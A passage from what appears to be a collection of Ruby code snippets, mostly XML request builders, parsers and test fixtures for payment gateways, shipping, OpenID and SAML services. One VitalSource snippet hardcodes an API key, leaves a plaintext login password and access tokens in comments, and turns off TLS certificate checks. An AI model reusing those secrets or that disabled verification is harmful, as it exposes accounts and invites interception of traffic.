<AuthCode>939772</AuthCode>\n <AddressNumericCheckResult>PASSED</AddressNumericCheckResult>\n <PostCodeCheckResult>PASSED</PostCodeCheckResult>\n <CV2CheckResult>PASSED</CV2CheckResult>\n <GatewayEntryPoints>\n <GatewayEntryPoint EntryPointURL=\"https://gw1.cardsaveonlinepayments.com:4430/\" Metric=\"100\"/>\n <GatewayEntryPoint EntryPointURL=\"https://gw2.cardsaveonlinepayments.com:4430/\" Metric=\"200\"/>\n <GatewayEntryPoint EntryPointURL=\"https://gw3.cardsaveonlinepayments.com:4430/\" Metric=\"300\"/>\n </GatewayEntryPoints>\n </TransactionOutputData>\n </CardDetailsTransactionResponse>\n </soap:Body>\n </soap:Envelope>)\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def successful_purchase_response_without_avs_results\n <<~XML\n <ccTxnResponseV1 xmlns=\"http://www.optimalpayments.com/creditcard/xmlschema/v1\">\n <confirmationNumber>126740505</confirmationNumber>\n <decision>ACCEPTED</decision>\n <code>0</code>\n <description>No Error</description>\n <authCode>112232</authCode>\n <detail>\n <tag>InternalResponseCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>SubErrorCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>InternalResponseDescription</tag>\n <value>no_error</value>\n </detail>\n <txnTime>2009-01-08T17:00:45.210-05:00</txnTime>\n <duplicateFound>false</duplicateFound>\n </ccTxnResponseV1>\n XML\n end", "def build_status_request(options)\n datetimestamp = create_time_stamp\n message = datetimestamp + @options[:login] + SUB_ID + options[:transaction_id]\n tokenCode = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerStatusReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', datetimestamp\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication' , AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', tokenCode\n end\n xml.tag! 'Transaction' do\n xml.tag! 'transactionID', options[:transaction_id]\n end\n end\n xml.target!\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def get_params_from_xml(xml) \n empty = REXML::Element.new('empty') \n empty_attr = REXML::Attribute.new('empty') \n ret = {} \n root = xml.root \n \n ret.merge!('openid.mode' => \"checkid_#{$1.downcase}\") if root.xpath =~ /OpenIDCheckID(.*)/ \n if req = root.get_elements('Request').first \n ret.merge!('openid.identity' => ((req.get_elements('Identity').first || empty).text || '').strip, \n 'openid.assoc_handle' => ((req.get_elements('AssocHandle').first || empty).text || '').strip, \n 'openid.return_to' => ((req.get_elements('ReturnTo').first || empty).text || '').strip, \n 'openid.trust_root' => ((req.get_elements('TrustRoot').first || empty).text || '').strip) \n if sreg = req.get_elements('Sreg').first \n ret.merge!('openid.sreg.required' => ((sreg.attribute('required') || empty_attr).value || '').strip, \n 'openid.sreg.optional' => ((sreg.attribute('optional') || empty_attr).value || '').strip, \n 'openid.sreg.policy_url' => ((sreg.attribute('policy_url') || empty_attr).value || '').strip) \n end \n end \n return ret \n end", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def generate_builder\n\t\t@email = params[:vitalsource][:email]\n\t\t@first_name = params[:vitalsource][:first_name]\n\t\t@last_name = params[:vitalsource][:last_name]\n\t\t@affiliate = params[:vitalsource][:affiliate]\n\t\t@password = params[:vitalsource][:password]\n\t\t@confirm_password = params[:vitalsource][:confirm_password]\n\t\t@question_id = params[:vitalsource][:question_id]\n\t\t@answer = params[:vitalsource][:answer]\n\n\t\tdoc = Builder::XmlMarkup.new(:target => out_string = \"\", :indent =>2)\n\t\t# #----------user login request body------------------------------------------------------------------------\n\t\t# doc.credentials{\n\t\t# \tdoc.credential(\"email\" => \"lemon_victor@hotmail.com\", \"password\" => \"wgx890922\")\n\t\t# }\n\t\t# #user login request url\n\t\t# request_url = \"/v3/credentials.xml\"\n\t\t# # #return: \n\t\t# # #{\"credentials\"=>{\"credential\"=>{\"access_token\"=>\"4e2503801317d29a915895b17d560c54\", \"reference\"=>\"\", \"guid\"=>\"B2EY7AGYKNNMER76H56M\", \"email\"=>\"lemon_victor@hotmail.com\", \"__content__\"=>\"\\n \"}}}\n\n\n\t\t#-------------create user request body---------------------------------------------------------------------\n\t\tdoc.user{\n\t\t\t# doc.reference(\"xiehongquan002\")\n\t\t\tdoc.email(@email)\n\t\t\tdoc.password(@password)\n\t\t\tdoc.first_name(@first_name)\n\t\t\tdoc.last_name(@last_name)\n\t\t\tdoc.affiliate(@affiliate)\n\t\t\tdoc.question_id(@question_id)\n\t\t\tdoc.question_response(@answer)\n\t\t}\n\t\t#create user request url\n\t\trequest_url = \"/v3/users.xml\"\n\n\t\t# #-------------a valid reference field as a credential----------------------------------------------\n\t\t# doc.credentials{\n\t\t# \tdoc.credential(\"reference\" => \"xiehongquan002\")\n\t\t# }\n\t\t# #reference field credential request url\n\t\t# request_url = \"/v3/credentials.xml\"\n\t\t#return:\n\t\t#{\"credentials\"=>{\"credential\"=>{\"reference\"=>\"xiehongquan002\", \"email\"=>\"b868868026c4da5@placeholder.142.edu\", \"access_token\"=>\"b452fd75eae3c05f7c34e258c4084e57\", \"guid\"=>\"URP732MQYFXT7ZVMCY5M\", \"__content__\"=>\"\\n \"}}}\n\n\t\t@request = out_string\n\t\turi = URI.parse(\"https://api.vitalsource.com\")\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\thttp.use_ssl = true\n\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\trequest = Net::HTTP::Post.new(request_url)\t\t\n\t\trequest.add_field('X-VitalSource-API-Key', 'YNBWZXTN743PWCZG')\n\t\trequest.body = out_string\n\t\tresponse = http.request(request)\n\t\tbody = Hash.from_xml(response.body)\n\t\tif(body.has_key?(\"error_response\"))\n\t\t\t@err = body[\"error_response\"][\"error_text\"]\n\t\tend\n\t\tif(body.has_key?(\"user\"))\n\t\t\t@user = body[\"user\"]\n\t\tend\n\tend", "def successful_purchase_response\n <<~XML\n <ccTxnResponseV1 xmlns=\"http://www.optimalpayments.com/creditcard/xmlschema/v1\">\n <confirmationNumber>126740505</confirmationNumber>\n <decision>ACCEPTED</decision>\n <code>0</code>\n <description>No Error</description>\n <authCode>112232</authCode>\n <avsResponse>B</avsResponse>\n <cvdResponse>M</cvdResponse>\n <detail>\n <tag>InternalResponseCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>SubErrorCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>InternalResponseDescription</tag>\n <value>no_error</value>\n </detail>\n <txnTime>2009-01-08T17:00:45.210-05:00</txnTime>\n <duplicateFound>false</duplicateFound>\n </ccTxnResponseV1>\n XML\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end", "def captureAllXML()\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"CaptureAll\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> \"true\")\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for captureAllXML!\"\n end \n end", "def xml_validator_params\n params.require(:xml_validator).permit(:route_id, :name, :xml_schema, response_attributes: [:id, :content_type, :response, :_destroy])\n end", "def to_xml\n\t\tmsg_xml = ''\n\t\t@hash.each do |info|\n\t\t\tmsg_xml += \"<#{info.key}>#{xml(info.value)}</#{info.key}>\\n\"\n\t\tend\n\t\tmsg_xml\n\tend", "def successful_purchase_response\n <<-XML\n <emattersResponse>\n <emattersRcode>08</emattersRcode>\n <emattersUID>001</emattersUID>\n <emattersAmount>10.99</emattersAmount>\n <emattersAuthCode>4847784</emattersAuthCode>\n <emattersCardType>VISA</emattersCardType>\n <emattersTrxnReference>00000011120</emattersTrxnReference>\n <emattersMainID>0099887766554433</emattersMainID>\n </emattersResponse>\n XML\n end", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def failed_authorize_response\n <<-XML\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <OrderFormDoc>\n <Id DataType=\"String\">48b7024c-0322-3002-002a-0003ba9a87ff</Id>\n <Mode DataType=\"String\">Y</Mode>\n <Transaction>\n <Id DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</Id>\n <Type DataType=\"String\">PreAuth</Type>\n </Transaction>\n </OrderFormDoc>\n <Overview>\n <CcErrCode DataType=\"S32\">1067</CcErrCode>\n <CcReturnMsg DataType=\"String\">System error.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1219953701297</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <Notice DataType=\"String\">Unable to determine card type. (&apos;length&apos; is &apos;16&apos;)</Notice>\n <TransactionId DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</TransactionId>\n <TransactionStatus DataType=\"String\">E</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def request_body(method, params = [])\n p_body = ''\n\n params.each { |p| p_body << \"<param><value><string>#{p}</string></value></param>\" }\n\n body = '<?xml version=\"1.0\"?><methodCall>'\n body << \"<methodName>#{method}</methodName>\"\n body << \"<params>#{p_body}</params>\" unless p_body.length == 0\n body << '</methodCall>'\n end", "def initialize(params)\n @result = params[:result]\n @user_id = params[:userid]\n @post = build_xml( params[:result] )\n end", "def verify_signature!(xml, options={})\n in_tmp_dir do\n if options[:id_attr].blank?\n raise \"Missing :id_attr option\"\n end\n if options[:cert_pem].blank?\n raise \"Missing :cert_pem option\"\n else\n options[:cert_path] = create_tmp_file(options[:cert_pem])\n end\n command = verify_command(create_tmp_file(xml), options)\n result, exitstatus = run command\n if (exitstatus) != 0\n raise \"unable to validate xml signature: #{command}\\ngot error #{exitstatus}:\\n#{result}\"\n end\n result\n end\n end", "def authed_xml_as_string(builder, &block)\n builder.instruct!(:xml, :version=>\"1.0\", :encoding=>\"UTF-8\")\n builder.Request(:xmlns => \"urn:sbx:apis:SbxBaseComponents\") do\n builder.RequesterCredentials do\n builder.ApiUserToken(connection.api_user_token)\n builder.SbxUserToken(connection.sbx_user_token)\n end\n block.call\n end\n\n builder.target!\n end", "def create_trust_xml(xml) \n if current_user \n empty = REXML::Element.new('empty') \n trust = xml.root.get_elements('Trust').first \n \n return render(:text => \"<Response>bad xml</Response>\") unless trust \n trust_root = (trust.get_elements('TrustRoot').first || empty).text \n expires = (trust.get_elements('Expires').first || empty).text \n profile_name = (trust.get_elements('AccessProfile').first || empty).text \n profile_name = 'public' unless profile_name \n @profile = current_user.profiles.find_by_title(profile_name) \n \n return render(:text => \"<Response>bad profile</Response>\") unless @profile \n \n if ['-1', '0'].include? expires \n expires_at = nil \n else \n expires =~ %r[(\\d+)/(\\d+)/(\\d+)] \n expires_at = Time.utc($3.to_i, $2.to_i, $1.to_i) \n end \n \n if @trust = Trust.find_by_trust_root(trust_root) \n @trust.update_attributes(:profile => @profile, :expires_at => expires_at) \n else \n @trust = Trust.create(:profile => @profile, :expires_at => expires_at, :trust_root => trust_root) \n end \n @trust.update_attributes(:expires_at => Time.now.utc) if expires == '0' \n return render(:text => '<Response>success</Response>') \n end \n render :text => '<Response>could not create trust</Response>' \n end", "def add_token(xml, token, expiry, address, cv2)\n\n xml.tag! :Card do\n\n # DataCash calls the CC number 'pan'\n xml.tag! :pan, {type: 'token'}, token\n xml.tag! :expirydate, format_date(expiry.month, expiry.year)\n\n xml.tag! :Cv2Avs do\n xml.tag! :cv2, cv2\n xml.tag! :cv2_present, '1'\n\n if address\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:city] unless address[:city].blank?\n xml.tag! :street_address4, address[:state] unless address[:state].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n xml.tag! :country, address[:country] unless address[:country].blank?\n end\n # The ExtendedPolicy defines what to do when the passed data\n # matches, or not...\n #\n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n # xml.tag! :ExtendedPolicy do\n # xml.tag! :cv2_policy,\n # :notprovided => POLICY_REJECT, # REJ\n # :notchecked => POLICY_REJECT, # REJ\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_REJECT\n # xml.tag! :postcode_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # xml.tag! :address_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # end\n end\n end\n end", "def build_request\n b = builder\n xml = b.SignatureProofOfDeliveryRequest(:xmlns => \"http://fedex.com/ws/track/v#{VERSION[:major]}\") do\n build_authentication(b)\n build_version(b, \"trck\", VERSION[:major], VERSION[:intermediate], VERSION[:minor])\n \n b.Type image_type\n b.TrackingNumber tracking_number\n b.FaxDetail fax_number if fax_number\n b.LetterFormat image_file_type\n end\n end", "def check_for_xml \n return true unless is_xml_request? \n return(render(:text => '<Response>Error: bad xml</Response>')) unless @request.env['RAW_POST_DATA'] && !@request.env['RAW_POST_DATA'].strip.empty? \n\n # headers['Content-Type'], NOT headers['CONTENT_TYPE'] \n @response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n @response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n\n xml = REXML::Document.new(request.env['RAW_POST_DATA']) \n login_user(xml) \n return(render(:text => '<Response>bad username or password</Response>') and false) unless current_user \n\n begin \n (delete_trust(xml) and return false) if is_delete_trust? \n (create_trust_xml(xml) and return false) if is_create_trust? \n (xml_profile_list(xml) and return false) if is_profile_list? \n (xml_query_profile(xml) and return false) if is_query_profile? \n\n params.merge!(get_params_from_xml(xml)) \n\n\t \t create_trust_if_necessary(xml) \n\t \trescue \n \t return(render(:text => '<Response>Error: bad xml format.</Response>')) \n end\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def test_userxmlgeneration\n begin\n\n xmlgen = @zendeskclient.createuserxml('aljohson@yourcompany.dk', 'Al Johnson', \"4\", \"1\", [\"2\", \"3\"])\n actualxmldoc = Document.new(xmlgen)\n\n f = File.new(\"user_expected.xml\")\n expectedxmldoc = Document.new(f).to_s\n\n # assert_equal(actualxmldoc, expectedxmldoc) need to strip xml header before we can do this comparison\n\n rescue\n assert(false) # if we hit this assertion for any reason means, we have failed\n end\n\n\n end", "def add_credit_card(xml, credit_card, address)\n xml.tag! :Card do\n \n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n \n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(credit_card.type.to_s)\n \n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n \n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n \n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:address3] unless address[:address3].blank?\n xml.tag! :street_address4, address[:address4] unless address[:address4].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n \n # The ExtendedPolicy defines what to do when the passed data \n # matches, or not...\n # \n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n xml.tag! :ExtendedPolicy do\n xml.tag! :cv2_policy, \n :notprovided => POLICY_REJECT,\n :notchecked => POLICY_REJECT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_REJECT\n xml.tag! :postcode_policy,\n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n xml.tag! :address_policy, \n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n end\n end\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'Method' => method}\n subject_confirmation_data_block = Proc.new { xml << subject_confirmation_data.to_xml} if subject_confirmation_data\n xml.tag!('saml:SubjectConfirmation', attributes, &subject_confirmation_data_block)\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def build_creditcard_from_params(params)\n ActiveMerchant::Billing::CreditCard.new(\n :number => params[:number],\n :month => params[:month],\n :year => params[:year],\n :first_name => params[:first_name],\n :last_name => params[:last_name],\n :verification_value => params[:verification])\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n # add_request_timestamp(xml)\n add_track_request(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def prepare_params(params)\n s_params = {}\n params.each_pair {|k,v| s_params[k.to_s] = v }\n s_params['api_key'] = FacebookApi.api_key\n s_params['v'] = FacebookApi::API_VERSION\n s_params['call_id'] = Time.now.to_f.to_s\n s_params['format'] = 'JSON'\n s_params['sig'] = FacebookApi.calculate_signature(s_params)\n s_params\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n \r\n if params[:new_customer_token] && params[:new_customer_token] != false\r\n @PARAM_HASH['NEW_CUST_TOKEN'] = params[:new_customer_token] == true ? SecureRandom.hex(8) : params[:new_customer_token]\r\n end\r\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def build_xml(target, type, value)\n <<-EOF.gsub(/^ {8}/, '')\n <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\n <entry\n xml:base=\"/p/p.svc/\"\n xmlns:d=\"http://schemas.microsoft.com/ado/2007/08/dataservices\"\n xmlns:m=\"http://schemas.microsoft.com/ado/2007/08/dataservices/metadata\"\n xmlns=\"http://www.w3.org/2005/Atom\">\n <id></id>\n <title type=\"text\"></title>\n <updated>#{@time}</updated>\n <author><name /></author>\n <category term=\"pomegranateModel.Asset\" scheme=\"http://schemas.microsoft.com/ado/2007/08/dataservices/scheme\" />\n <content type=\"application/xml\">\n <m:properties>\n <d:AssetID>--</d:AssetID>\n <d:AssetData>#{type === \"TEXT\" ? escape_xml(value) : value}</d:AssetData>\n <d:AssetType>#{type}</d:AssetType>\n <d:AssetMeta></d:AssetMeta>\n <d:AssetRecordID>#{@record_id}</d:AssetRecordID>\n <d:Target>#{target}</d:Target>\n <d:Client>#{@client_id}</d:Client>\n <d:Status>#{@client_id == \"P0\" ? \"UPLOADED\" : \"APPROVED\"}</d:Status>\n </m:properties>\n </content>\n </entry>\n EOF\n end", "def body_parameters(parameters)\n parameters_xml = ''\n parameters.each_pair do |k,v|\n key = parameter_key(k)\n\n case v\n when Hash\n val = body_parameters(v)\n when Array\n val = v.map {|i| body_parameters(i) }.join('')\n else\n val = \"<![CDATA[#{v}]]>\"\n end\n\n parameters_xml << \"<#{key}>#{val}</#{key}>\"\n end\n parameters_xml\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def build_request(body, options)\n xsd_version = test? ? TEST_XSD_VERSION : PRODUCTION_XSD_VERSION\n\n xml = Builder::XmlMarkup.new indent: 2\n xml.instruct!\n xml.tag! 's:Envelope', { 'xmlns:s' => 'http://schemas.xmlsoap.org/soap/envelope/' } do\n xml.tag! 's:Header' do\n xml.tag! 'wsse:Security', { 's:mustUnderstand' => '1', 'xmlns:wsse' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' } do\n xml.tag! 'wsse:UsernameToken' do\n xml.tag! 'wsse:Username', @options[:login]\n xml.tag! 'wsse:Password', @options[:password], 'Type' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText'\n end\n end\n end\n xml.tag! 's:Body', { 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema' } do\n xml.tag! 'requestMessage', { 'xmlns' => \"urn:schemas-cybersource-com:transaction-data-#{xsd_version}\" } do\n add_merchant_data(xml, options)\n xml << body\n end\n end\n end\n xml.target!\n end", "def initialize params\n @saml_doc = LibXML::XML::Parser.string( params[:saml_xml] ).parse\n @private_key = OpenSSL::PKey::RSA.new( params[:private_key] )\n end", "def build_request(body, options)\n requires!(options, :xml_transaction_wrapper)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!(:xml, :version => '1.0', :encoding => 'utf-8')\n xml.tag! 'soap:Envelope', { 'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/', \n 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'} do\n xml.tag! 'soap:Body' do\n xml.tag! options[:xml_transaction_wrapper], {'xmlns' => \"https://www.thepaymentgateway.net/\"} do\n unless options[:xml_transaction_wrapper] == \"ThreeDSecureAuthentication\"\n xml.tag! 'PaymentMessage' do\n add_merchant_data(xml, options)\n xml << body\n end\n else\n xml << body\n end\n end\n end\n end\n xml.target! \n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do 